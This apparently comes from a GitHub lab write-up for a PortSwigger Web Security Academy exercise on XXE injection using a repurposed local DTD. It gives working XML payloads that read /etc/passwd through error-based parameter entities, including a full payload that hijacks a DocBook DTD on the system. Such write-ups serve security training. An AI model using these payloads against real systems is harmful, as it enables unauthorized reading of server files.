portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following EXPERT-level lab from the PortSwigger Web Security Academy related to XML External Entity (XXE) Injection:

9 Exploiting XXE to retrieve data by repurposing a local DTD

This lab demonstrates advanced XXE exploitation by repurposing a local Document Type Definition (DTD) to extract sensitive data.

LAB 9 - Exploiting XXE to retrieve data by repurposing a local DTD

Lab Description

image

Solution

📘 XXE Exploitation using Local DTD

After exploring common XXE exploitation methods, it’s important to understand how to exploit XXE using a local DTD. This technique becomes valuable when:


❓ When to Use Local DTD?

Use Local DTD exploitation when:

  1. The application doesn’t reflect your injected entities (no in-band leakage).
  2. Out-of-band (OOB) channels are filtered or restricted.
  3. External DTD inclusion (via SYSTEM "http://...") is blocked.

🔍 XXE Testing Methodology (Local DTD Focus)

  1. Modify the XML structure with a test payload to see how the parser behaves.
  2. Attempt to declare a reference or parameter entity, even if it appears blocked.
  3. Use file-based protocol handler (like file://) to test for file-based reads.
    • Try pointing to a non-existent path to see if an error is triggered.
    • You can also test for indirect access by observing logs like:
      tail -f /var/log/apache2/access.log
      

🧪 Initial Testing

Even if you receive an “Invalid product ID” error, try injecting:

<!ENTITY test SYSTEM "file:///etc/passwd">

image

You may receive a parser error showing the path (etc/passwd), which confirms the parser is processing your entity declaration.

image


🔧 Enumerating Files with Forced Errors

To trigger file reads, use invalid paths like:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///invalid/%file;'>">
%eval;
%error;

This causes the parser to request: file:///invalid/<contents-of-passwd>, which will return an error and potentially leak the file’s contents inside the error message.

image


📁 Using Pre-Existing Local DTD

If an internal file such as /usr/share/yelp/dtd/docbookx.dtd exists, it can be leveraged as a local DTD:

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;

Although this is technically an external entity, it points to a file within the local system, bypassing the network restriction.


💣 Full Payload Example

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

image

Explanation:

Lab is solved as we get passwd file